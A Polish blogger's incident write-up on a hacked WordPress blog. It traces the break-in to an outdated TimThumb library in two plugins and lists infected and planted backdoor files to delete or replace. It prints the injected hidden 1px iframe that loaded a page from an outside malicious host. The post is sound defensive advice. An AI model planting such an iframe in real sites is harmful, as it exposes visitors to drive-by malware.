Przyczyna włamania na bloga odnaleziona - posiadacze Wordpress strzeżcie się! | DailyWeb.pl

Przyczyna włamania na bloga odnaleziona - posiadacze WordPress strzeżcie się!

Opublikowano 6 lat temu - 11


Dzisiejsze całe popołudnie spędziłem analizując wpierw by usunąć wszelkie skutki włamania na mój blog a następnie, co było dla mnie ważniejsze - odnalezienie przyczyny. Gdyby nie ogromny spadek oglądalności witryny z pewnością nie zauważyłbym, że do mojego Wordpressa wstrzyknięto złośliwy kod.

Okazało się, że Google informował użytkowników pragnących wejść na bloga o występującym tu złosliwym oprogramowaniu, powodując zaniechanie przedsięwzięcia. Niestety próbując na wiele sposobów, owego komunikatu nie mogłem otrzymać (dlaczego? tutaj kolejny materiał na wpis).

Zacząłem analizować kod strony i udało się odnaleźć podejrzaną pływającą ramkę odwołująca się do inne witryny, oczywiście ramka była wielkości 1px i dodatkowo była niewidoczna. Kod prezentował się tak:

<iframe id="iframe" style="width: 1px; height: 1px;" src=" http://counter-wordpress.com/frame.php"></iframe>

Usunięcie wydawało się dość proste - Total Commander i przeszukanie zwartości plików WordPress na serwerze i odnalezienie pływającej ramki. Niestety nic z tego, jak się okazało polecenie było generowane dynamicznie a nie wpisane czystym tekstem. Wykonywał to osobny plik, który później udało się odnaleźć. To był dopiero wierzchołek góry lodowej, bo jak się okazało większa ilość plików posiadała złośliwy kod i jakby tego było mało, kilka plików zostało dodatkowo utworzonych.

Udało się odnaleźć kilka konkretnych informacji od blogerów, którzy wymienili swoje doświadczenia związane z owym problemem. Zastosowałem się do ich uwag, oczyszczając pliki WordPress. Kolejnym krokiem było wysłanie zapytania do mojego VPS, który oznajmił, że najświeższe kopie zapasowe także posiadają złośliwy kod.

Blogerzy podawali, że odpowiedzialna za włamanie prawdopodobnie była biblioteka o nazwie TimThumb, w której lukę wykorzystali sprytnie włamywacze. Byłem pewien, że nie jest to przyczyna włamania na mojego bloga, jako że z takiego dodatku nie korzystałem. Biblioteka odpowiedzialna jest za skalowanie grafiki. Bardziej podejrzewałem plugin, więc zacząłem szukać exploitów na każdy z dodatków, który miałem zainstalowany. Niestety bez żadnego efektu. Postanowiłem przejrzeć foldery /wp-content/plugins i to był strzał w dziesiątkę!

Dwa z kilku pluginów korzystały z biblioteki TimThumb! Developerzy chyba przeoczyli całkiem nagłośnioną sprawę dotyczącą luki w tej bibliotece, która pozwalała na włamanie się do platformy WordPress. Zaktualizowałem oba pliki timthumb.php ręcznie pobierając najświeższą wersję. Wyczyściłem katalogi Cache w obu pluginach (timthumb.php generuje Cache z obrazkami) i mam ogromną nadzieję, że to koniec problemów. Niestety bez wszelkich zmian haseł się nie obeszło.Dodatkowo pousuwałem wszelkie pluginy, których przydatność była nieobowiązkowa - ograniczając listę używanych do absolutnego minimum.

UWAGA!

Przejrzyjcie katalogi waszych pluginów czy nie posiadają feralnej biblioteki timthumb.php i jeżeli taką odnajdziecie - aktualizujcie ręcznie bez zastanowienia. Podpowiem, że każdy plugin, który generuje jakąkolwiek grafikę z pewnością powinien znaleźć się na liście podejrzanych. W moim wypadku był to  plugin prezentujący powiązane treści z miniaturkami wpisów i dodatek generujące przyciski. Ich nazwy to:

IGIT - related posts with thumbnail
Shortcodes Ultimate

Jakie pliki zostały zainfekowane?

/wp-config.php

Sprawdźcie zawartość pliku. Włamywacze, czy też automat przez nich umieszczone dokleja około 6000 wierszy, z czego tylko około 12 to kod złośliwy i znajduje się mniej więcej na wysokości 3000-cznego wiersza. Wykasujcie wszystko poniżej wiersza:

require_once(ABSPATH . 'wp-settings.php');

Do usunięcia

Nie wszystkie poniższe pliki znalazłem u siebie a przynajmniej tych z katalogu uploads, część blogerów jednak miała je również, więc bezpiecznie będzie jeżeli się upewnicie.

 

/wp-content/upd.php - do usunięcia

/wp-admin/upd.php - do usunięcia

/wp-content/2b64c2f19d868305aa8bbc2d72902cc5.php - lub podobny, do usunięcia

/wp-content/uploads/feed-file.php - do usunięcia

/wp-content/uploads/feed-files.php - do usunięcia

/wp-admin/common.php - do usunięcia

 

Do podmiany

Poniższe pliki były zainfekowane w moim przypadku, jak i ludzi którzy podobny problem opisywali. Jeżeli zauważycie, że wielkość waszych plików różni się od tych z czystej instalacji - podmieńcie je.

/wp-settings.php - nadgrać z czystej instalacji WordPress

/wp-includes/js/jquery/jquery.js - nadgrać z czystej instalacji WordPress

/wp-includes/js/l10n.js  - nadgrać z czystej instalacji WordPress

 

Jak najszybciej sprawdzić czy nie macie zaszytego IFRAME lub innego świństwa? Te narzędzie z pewnością się przyda.

Dodam, że większość blogerów sugeruje postawienie czystej instalacji WordPress - ja niestety nie mogłem sobie na to pozwolić - jednak Was w przypadku wystąpienia powyższego problemu także sugeruje nową instalacje - będziecie mieli 100% pewności, że kod waszych plików jest czysty. Dodatkowo przeglądałem po wszystkich operacjach czas modyfikacji plików i porównywałem ich wielkość z wielkością czystej instalacji - jednak nie do wszystkiego tą zasadę da się zastosować.

Bardzo ciekawe informacje, w jaki sposób automat dokonywał włamania znajdziecie na tym blogu. Pamiętajcie o częstych aktualizacjach dodatków jak i samego WordPressa, bo późniejsze problemy mogą być co najmniej pracochłonne. Mam nadzieje, że wszelkim zainteresowanym chociaż trochę naświetliłem problem i sposób jego rozwiązania. Jeżeli będziecie mieli problemy, pytania - piszcie śmiało w komentarzach.

Ps. Mam wielką prośbę do posiadaczy przeglądarek FF i Chrome - czy możecie dać znać w komentarzu czy pojawia się Wam ostrzeżenie o zagrożeniu wirusem przy wejściu na lubik.info? Będę zobowiązany.